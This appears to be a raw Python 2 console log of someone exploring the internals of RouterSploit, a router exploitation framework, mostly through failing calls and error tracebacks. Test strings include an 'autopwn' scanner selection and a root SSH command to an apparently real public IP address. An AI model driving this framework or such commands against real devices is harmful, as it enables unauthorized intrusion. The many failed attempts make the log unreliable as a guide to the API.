{'exploits': <module 'routersploit.exploits' from 'routersploit/exploits.pyc'>, 'mute': <function mute at 0x7fb92ad31398>, 'utils': <module 'routersploit.utils' from 'routersploit/utils/__init__.pyc'>, 'print_status': <function print_status at 0x7fb92ad315f0>, 'print_error': <function print_error at 0x7fb92ad31578>, 'printer': <module 'routersploit.printer' from 'routersploit/printer.pyc'>, 'validators': <module 'routersploit.validators' from 'routersploit/validators.pyc'>, 'interpreter': <module 'routersploit.interpreter' from 'routersploit/interpreter.pyc'>, 'print_table': <function print_table at 0x7fb92ad31b18>, 'sanitize_url': <function sanitize_url at 0x7fb92ad31b90>, 'wordlists': <module 'routersploit.wordlists' from 'routersploit/wordlists/__init__.pyc'>, '__package__': None, 'payloads': <module 'routersploit.payloads' from 'routersploit/payloads.pyc'>, 'tokenize': <function tokenize at 0x7fb92ad31f50>, '__doc__': None, 'http_request': <function http_request at 0x7fb92ad31cf8>, 'shell': <function shell at 0x7fb92accf398>, 'ssh_interactive': <function ssh_interactive at 0x7fb92ad31de8>, '__builtins__': <module '__builtin__' (built-in)>, 'boolify': <function boolify at 0x7fb92ad31d70>, 'LockedIterator': <class 'routersploit.utils.LockedIterator'>, 'multi': <function multi at 0x7fb92ad31488>, '__name__': '__main__', 'modules': <module 'routersploit.modules' from 'routersploit/modules/__init__.pyc'>, 'routersploit': <module 'routersploit' from 'routersploit/__init__.pyc'>, 'index_modules': <function index_modules at 0x7fb92ad15c80>, 'print_success': <function print_success at 0x7fb92ad31668>, 'print_info': <function print_info at 0x7fb92ad316e0>, 'exceptions': <module 'routersploit.exceptions' from 'routersploit/exceptions.pyc'>, 'random_text': <function random_text at 0x7fb92ad31c80>}
>>> command = "show"
>>> command = "show payloads"
>>> interpreter.get_command_handler(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'get_command_handler'
>>> interpreter.start.get_command_handler(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'start'
>>> interpreter.BaseInterpreter.start.get_command_handler(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute 'get_command_handler'
>>> interpreter.BaseInterpreter(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> interpreter.BaseInterpreter()
<routersploit.interpreter.BaseInterpreter object at 0x7fb92ace76d0>
>>> print 0x7fb92ace76d0
140433263851216
>>> test = interpreter.BaseInterpreter(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> test = interpreter.BaseInterpreter()
>>> print test
<routersploit.interpreter.BaseInterpreter object at 0x7fb92ace7710>
>>> test = interpreter.BaseInterpreter(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> test = interpreter.BaseInterpreter()
>>> command = use scanners/autopwn
File "<stdin>", line 1
command = use scanners/autopwn
^
SyntaxError: invalid syntax
>>> command = "use scanners/autopwn"
>>> test = interpreter.BaseInterpreter()
>>> interpreter.BaseInterpreter()
<routersploit.interpreter.BaseInterpreter object at 0x7fb92ac99790>
>>> print
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'command', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'test', 'tokenize', 'utils', 'validators', 'wordlists']
>>> printer
<module 'routersploit.printer' from 'routersploit/printer.pyc'>
>>> test = printer
>>> print test
<module 'routersploit.printer' from 'routersploit/printer.pyc'>
>>> command = "run"
>>> interpreter.BaseInterpreter()
<routersploit.interpreter.BaseInterpreter object at 0x7fb92ac90690>
>>> print_error
<function print_error at 0x7fb92ad31578>
>>> print command
run
>>> print_info
<function print_info at 0x7fb92ad316e0>
>>> print_status
<function print_status at 0x7fb92ad315f0>
>>> print_success
<function print_success at 0x7fb92ad31668>
>>> help(__builtins__)
>>> __getattribute__
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__getattribute__' is not defined
>>> __getattribute__(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__getattribute__' is not defined
>>> __getattribute__(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__getattribute__' is not defined
>>> help(__builtins__)
>>> dict
<type 'dict'>
>>> dict
<type 'dict'>
>>> dict command
File "<stdin>", line 1
dict command
^
SyntaxError: invalid syntax
>>> doct get_command
File "<stdin>", line 1
doct get_command
^
SyntaxError: invalid syntax
>>> doct get_command()
File "<stdin>", line 1
doct get_command()
^
SyntaxError: invalid syntax
>>> locals()
{'exploits': <module 'routersploit.exploits' from 'routersploit/exploits.pyc'>, 'mute': <function mute at 0x7fb92ad31398>, 'utils': <module 'routersploit.utils' from 'routersploit/utils/__init__.pyc'>, 'print_status': <function print_status at 0x7fb92ad315f0>, 'print_error': <function print_error at 0x7fb92ad31578>, 'printer': <module 'routersploit.printer' from 'routersploit/printer.pyc'>, 'validators': <module 'routersploit.validators' from 'routersploit/validators.pyc'>, 'interpreter': <module 'routersploit.interpreter' from 'routersploit/interpreter.pyc'>, 'print_table': <function print_table at 0x7fb92ad31b18>, 'sanitize_url': <function sanitize_url at 0x7fb92ad31b90>, 'wordlists': <module 'routersploit.wordlists' from 'routersploit/wordlists/__init__.pyc'>, '__package__': None, 'payloads': <module 'routersploit.payloads' from 'routersploit/payloads.pyc'>, 'tokenize': <function tokenize at 0x7fb92ad31f50>, 'test': <module 'routersploit.printer' from 'routersploit/printer.pyc'>, 'command': 'run', '__doc__': None, 'http_request': <function http_request at 0x7fb92ad31cf8>, 'shell': <function shell at 0x7fb92accf398>, 'ssh_interactive': <function ssh_interactive at 0x7fb92ad31de8>, '__builtins__': <module '__builtin__' (built-in)>, 'boolify': <function boolify at 0x7fb92ad31d70>, 'LockedIterator': <class 'routersploit.utils.LockedIterator'>, 'multi': <function multi at 0x7fb92ad31488>, '__name__': '__main__', 'modules': <module 'routersploit.modules' from 'routersploit/modules/__init__.pyc'>, 'routersploit': <module 'routersploit' from 'routersploit/__init__.pyc'>, 'index_modules': <function index_modules at 0x7fb92ad15c80>, 'print_success': <function print_success at 0x7fb92ad31668>, 'print_info': <function print_info at 0x7fb92ad316e0>, 'exceptions': <module 'routersploit.exceptions' from 'routersploit/exceptions.pyc'>, 'random_text': <function random_text at 0x7fb92ad31c80>}
>>> BaseInterpreter(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'BaseInterpreter' is not defined
>>> interpreter.BaseInterpreter(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> interpreter.BaseInterpreter()
<routersploit.interpreter.BaseInterpreter object at 0x7fb92ac99790>
>>> command = "exit"
>>> interpreter.BaseInterpreter()
<routersploit.interpreter.BaseInterpreter object at 0x7fb92ac90690>
>>> help(__doc__)
>>> list
<type 'list'>
>>> list __builtins__
File "<stdin>", line 1
list __builtins__
^
SyntaxError: invalid syntax
>>> list main
File "<stdin>", line 1
list main
^
SyntaxError: invalid syntax
>>> list command
File "<stdin>", line 1
list command
^
SyntaxError: invalid syntax
>>> list(print_status)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'function' object is not iterable
>>> list(wordlists)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'module' object is not iterable
>>> list(modules)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'module' object is not iterable
>>> help(list)
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'command', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'test', 'tokenize', 'utils', 'validators', 'wordlists']
>>> help(command)
>>> command(__dict__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__dict__' is not defined
>>> dict(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: dictionary update sequence element #0 has length 1; 2 is required
>>> __dict__(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__dict__' is not defined
>>> help(command)
>>> help(command)
KeyboardInterrupt
>>> command(__weakref__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__weakref__' is not defined
>>> help(command)
>>> call(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'call' is not defined
>>> command(call)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'call' is not defined
>>> command(__call__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__call__' is not defined
>>> command.call('show payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'call'
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'command', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'test', 'tokenize', 'utils', 'validators', 'wordlists']
>>> interpreter.dir()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'dir'
>>> get.command.call
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'get' is not defined
>>> get_command.call
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'get_command' is not defined
>>> interpreter.get_command.call
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'get_command'
>>> interpreter.BaseInterpreter()
<routersploit.interpreter.BaseInterpreter object at 0x7fb92ac76510>
>>> interpreter.BaseInterpreter(dir)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> interpreter.BaseInterpreter.setup()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method setup() must be called with BaseInterpreter instance as first argument (got nothing instead)
>>> interpreter.BaseInterpreter.parse_line.call("show payloads")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute 'call'
>>> interpreter.BaseInterpreter.parse_line("show payloads")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method parse_line() must be called with BaseInterpreter instance as first argument (got str instance instead)
>>> interpreter.BaseInterpreter("show payloads")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> interpreter.BaseInterpreter(__init__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__init__' is not defined
>>> interpreter.BaseInterpreter.__init__
<unbound method BaseInterpreter.__init__>
>>> interpreter.BaseInterpreter.__init__."show payloads"
File "<stdin>", line 1
interpreter.BaseInterpreter.__init__."show payloads"
^
SyntaxError: invalid syntax
>>> interpreter.BaseInterpreter.__init__.show
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute 'show'
>>> interpreter.BaseInterpreter.__init__.parse_line
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute 'parse_line'
>>> interpreter.BaseInterpreter.parse_line
<unbound method BaseInterpreter.parse_line>
>>> interpreter.BaseInterpreter.parse_line(self,"showpayloads")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> interpreter.BaseInterpreter.get_command_handler('show')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method get_command_handler() must be called with BaseInterpreter instance as first argument (got str instance instead)
>>> interpreter.BaseInterpreter(get_command_handler('show'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'get_command_handler' is not defined
>>> interpreter.BaseInterpreter().parse_line(self,"showpayloads")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> interpreter.BaseInterpreter().parse_line(self,"showpayloads")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> interpreter.BaseInterpreter().parse_line("showpayloads")
('showpayloads', '')
>>> interpreter.BaseInterpreter().parse_line("show payloads")
('show', 'payloads')
>>> interpreter.BaseInterpreter().parse_line("use scanners/autopwn")
('use', 'scanners/autopwn')
>>> interpreter.BaseInterpreter().parse_line("set target 192.168.1.1")
('set', 'target 192.168.1.1')
>>> interpreter.BaseInterpreter().parse_line("set target 192.168.1.1")
('set', 'target 192.168.1.1')
>>> interpreter.BaseInterpreter().parse_line("run")
('run', '')
>>> interpreter.BaseInterpreter().parse_line("show target")
('show', 'target')
>>> interpreter.BaseInterpreter().parse_line("0v")
('0v', '')
>>> interpreter.BaseInterpreter().parse_line("-v")
('-v', '')
>>> interpreter.BaseInterpreter().parse_line("exec uname")
('exec', 'uname')
>>> interpreter.BaseInterpreter().parse_line("ssh -p 666 root@70.170.54.53")
('ssh', '-p 666 root@70.170.54.53')
>>> complete_command.call
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'complete_command' is not defined
>>> complete(command)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'complete' is not defined
>>> complete(command,0)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'complete' is not defined
>>> complete('show',0)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'complete' is not defined
>>> interpreter.BaseInterpreter().parse_line("ssh -p 666 root@70.170.54.53")
('ssh', '-p 666 root@70.170.54.53')
>>> print command
exit
>>> print history_file
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'history_file' is not defined
>>> print RoutersploitInterpreter.history_file
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> print RoutersploitInterpreter().history_file
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> print RoutersploitInterpreter(BaseInterpreter).history_file
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> print interpreter.RoutersploitInterpreter(BaseInterpreter).history_file
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'BaseInterpreter' is not defined
>>> print interpreter.RoutersploitInterpreter().history_file
/root/.rsf_history
>>> run
KeyboardInterrupt
>>> RoutersploitInterpreter()._parse_prompt('show all')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> RoutersploitInterpreter().command_use('scanners/autopwn')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> RoutersploitInterpreter().BaseInterpreter().command_use('scanners/autopwn')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> interpreter.BaseInterpreter().command_use('scanners/autopwn')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'BaseInterpreter' object has no attribute 'command_use'
>>> utils.command_use('scanners/autopwn')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'command_use'
>>> utils.stop.after.command_use('scanners/autopwn')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'stop'
>>> utils.stop_after.command_use('scanners/autopwn')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute 'command_use'
>>> interpreter.BaseInterpreter()._show_all()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'BaseInterpreter' object has no attribute '_show_all'
>>> interpreter.BaseInterpreter()._show_modules()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'BaseInterpreter' object has no attribute '_show_modules'
>>> interpreter.utils._show_modules()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute '_show_modules'
>>> interpreter.utils.module_required._show_modules()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute '_show_modules'
>>> interpreter.utils.module_required()._show_modules()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: module_required() takes exactly 1 argument (0 given)
>>> interpreter.utils.module_required()._show_modules('root')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: module_required() takes exactly 1 argument (0 given)
>>> interpreter.utils.module_required()._show_modules('')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: module_required() takes exactly 1 argument (0 given)
>>> interpreter.utils.module_required()._show_modules(' ')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: module_required() takes exactly 1 argument (0 given)
>>> interpreter.utils.__show_modules('scanners')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute '__show_modules'
>>> interpreter.utils().__show_modules('scanners')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: 'module' object is not callable
>>> interpreter.__show_modules('scanners')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute '__show_modules'
>>> interpreter.@utils.module_required.__show_modules('scanners')
File "<stdin>", line 1
interpreter.@utils.module_required.__show_modules('scanners')
^
SyntaxError: invalid syntax
>>> interpreter.utils.module_required.__show_modules('scanners')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute '__show_modules'
>>> interpreter.utils.module_required.__show_modules('scanners'
...
...
...
KeyboardInterrupt
>>> var = interpreter.utils.module_required.__show_modules('scanners'
...
KeyboardInterrupt
>>> var = interpreter.utils.module_required.__show_modules('scanners')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute '__show_modules'
>>> self.__show_modules('scanners')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> _show_scanners()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '_show_scanners' is not defined
>>> interpreter._show_scanners()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute '_show_scanners'
>>> interpreter.utils._show_scanners()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute '_show_scanners'
>>> interpreter.utils.print_info_show_scanners()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'print_info_show_scanners'
>>> interpreter.utils.print_info._show_scanners()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute '_show_scanners'
>>> _show_scanners(self, *args, **kwargs):
File "<stdin>", line 1
_show_scanners(self, *args, **kwargs):
^
SyntaxError: invalid syntax
>>> self.__show_modules('scanners')
File "<stdin>", line 1
self.__show_modules('scanners')
^
IndentationError: unexpected indent
>>> _show_scanners(self)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '_show_scanners' is not defined
>>> _show_scanners(self,,)
File "<stdin>", line 1
_show_scanners(self,,)
^
SyntaxError: invalid syntax
>>> _show_scanners(self,'','')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '_show_scanners' is not defined
>>> utils.module_required._show_devices
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute '_show_devices'
>>> utils.module_required._show_devices()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute '_show_devices'
>>> utils.module_required._show_devices(services)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute '_show_devices'
>>> utils.module_required._show_devices('devices')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute '_show_devices'
>>> interpreter.utils.module_required._show_devices('devices')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute '_show_devices'
>>> /root/Documents/routersploit/routersploit/interpreter.pyinterpreter.utils.module_required._show_devices('devices')
KeyboardInterrupt
>>> RoutersploitInterpreter.available_modules_completion('payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> BaseInterpreter.available_modules_completion('payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'BaseInterpreter' is not defined
>>> interpreter.available_modules_completion('payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'available_modules_completion'
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'command', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'test', 'tokenize', 'utils', 'validators', 'wordlists']
>>> help()
Welcome to Python 2.7! This is the online help utility.
If this is your first time using Python, you should definitely check out
the tutorial on the Internet at http://docs.python.org/2.7/tutorial/.
Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules. To quit this help utility and
return to the interpreter, just type "quit".
To get a list of available modules, keywords, or topics, type "modules",
"keywords", or "topics". Each module also comes with a one-line summary
of what it does; to list the modules whose summaries contain a given word
such as "spam", type "modules spam".
help>
You are now leaving help and returning to the Python interpreter.
If you want to ask for help on a particular object directly from the
interpreter, you can type "help(object)". Executing "help('string')"
has the same effect as typing a particular string at the help> prompt.
>>> help(__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__' is not defined
>>> help(_init__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '_init__' is not defined
>>> BaseInterpreter.available_modules_completion('payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'BaseInterpreter' is not defined
>>> RoutersploitInterpreter(BaseInterpreter).available_modules_completion('payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> RoutersploitInterpreter('payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> help(RoutersploitInterpreter)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> dir(RoutersploitInterpreter)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> /root/Documents/routersploit/routersploit/interpreter.py
KeyboardInterrupt
>>> help(BaseInterpreter)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'BaseInterpreter' is not defined
>>> dir(BaseInterpreter)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'BaseInterpreter' is not defined
>>> dir(interpreter)
['BaseInterpreter', 'BasePayload', 'Counter', 'Exploit', 'GLOBAL_OPTS', 'PrinterThread', 'RoutersploitException', 'RoutersploitInterpreter', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'atexit', 'itertools', 'os', 'print_function', 'printer_queue', 'readline', 'sys', 'traceback', 'utils']
>>> help(interpreter.RoutersploitInterpreter)
>>> interpreter.RoutersploitInterpreter.start()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method start() must be called with RoutersploitInterpreter instance as first argument (got nothing instead)
>>> interpreter.RoutersploitInterpreter.start('show')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method start() must be called with RoutersploitInterpreter instance as first argument (got str instance instead)
>>> interpreter.RoutersploitInterpreter(start)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'start' is not defined
>>> RoutersploitInterpreter(start)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> help(RoutersploitInterpreter)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> RoutersploitInterpreter.start
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> RoutersploitInterpreter().start
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> RoutersploitInterpreter().start.()
File "<stdin>", line 1
RoutersploitInterpreter().start.()
^
SyntaxError: invalid syntax
>>> RoutersploitInterpreter.start.()
File "<stdin>", line 1
RoutersploitInterpreter.start.()
^
SyntaxError: invalid syntax
>>> RoutersploitInterpreter(BaseInterpreter).start.()
File "<stdin>", line 1
RoutersploitInterpreter(BaseInterpreter).start.()
^
SyntaxError: invalid syntax
>>> global_help
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'global_help' is not defined
>>> RoutersploitInterpreterglobal_help
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreterglobal_help' is not defined
>>> RoutersploitInterpreter.global_help
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'RoutersploitInterpreter' is not defined
>>> interpreter.RoutersploitInterpreter.global_help
'Global commands:\n help Print this help menu\n use <module> Select a module for usage\n exec <shell command> <args> Execute a command in a shell\n search <search term> Search for appropriate module\n exit Exit RouterSploit'
>>> interpreter.RoutersploitInterpreter.search payloads
File "<stdin>", line 1
interpreter.RoutersploitInterpreter.search payloads
^
SyntaxError: invalid syntax
>>> interpreter.RoutersploitInterpreter.search
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: type object 'RoutersploitInterpreter' has no attribute 'search'
>>> interpreter.RoutersploitInterpreter.show
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: type object 'RoutersploitInterpreter' has no attribute 'show'
>>> interpreter.RoutersploitInterpreter.use scanners/autopwn
File "<stdin>", line 1
interpreter.RoutersploitInterpreter.use scanners/autopwn
^
SyntaxError: invalid syntax
>>> interpreter.RoutersploitInterpreter.use
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: type object 'RoutersploitInterpreter' has no attribute 'use'
>>> interpreter.RoutersploitInterpreter.global_help use
File "<stdin>", line 1
interpreter.RoutersploitInterpreter.global_help use
^
SyntaxError: invalid syntax
>>> interpreter.RoutersploitInterpreter.commands()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method commands() must be called with RoutersploitInterpreter instance as first argument (got nothing instead)
>>> interpreter.RoutersploitInterpreter.commands(self)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> interpreter.RoutersploitInterpreter(commands)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'commands' is not defined
>>> interpreter.RoutersploitInterpreter('commands')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> interpreter.RoutersploitInterpreter()
<routersploit.interpreter.RoutersploitInterpreter object at 0x7fb92ac80250>
>>> interpreter.BaseInterpreter.commands()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method commands() must be called with BaseInterpreter instance as first argument (got nothing instead)
>>> interpreter.BaseInterpreter(commands)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'commands' is not defined
>>> interpreter.BaseInterpreter(commands.())
File "<stdin>", line 1
interpreter.BaseInterpreter(commands.())
^
SyntaxError: invalid syntax
>>> interpreter.BaseInterpreter('commands')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>>
>>> interpreter.BaseInterpreter.init('commands')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: type object 'BaseInterpreter' has no attribute 'init'
>>> interpreter.BaseInterpreter.__init__('commands')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method __init__() must be called with BaseInterpreter instance as first argument (got str instance instead)
>>>
>>> interpreter.BaseInterpreter.commands()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method commands() must be called with BaseInterpreter instance as first argument (got nothing instead)
>>> interpreter.BaseInterpreter.commands
<unbound method BaseInterpreter.commands>
>>> interpreter.BaseInterpreter.commands
<unbound method BaseInterpreter.commands>
>>>
KeyboardInterrupt
>>>
KeyboardInterrupt
>>> var = interpreter.BaseInterpreter.commands
>>> print var
<unbound method BaseInterpreter.commands>
>>> var = interpreter.BaseInterpreter(self).commands
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> var = interpreter.BaseInterpreter(self).commands(self)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> var = interpreter.BaseInterpreter(self).commands()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> var = interpreter.BaseInterpreter().commands()
>>> var = interpreter.BaseInterpreter().commands()
>>> print var
[]
>>> uname
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'uname' is not defined
>>> interpreter.BaseInterpreter.commands
<unbound method BaseInterpreter.commands>
>>> interpreter.BaseInterpreter.commands()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method commands() must be called with BaseInterpreter instance as first argument (got nothing instead)
>>> interpreter.BaseInterpreter().commands()
[]
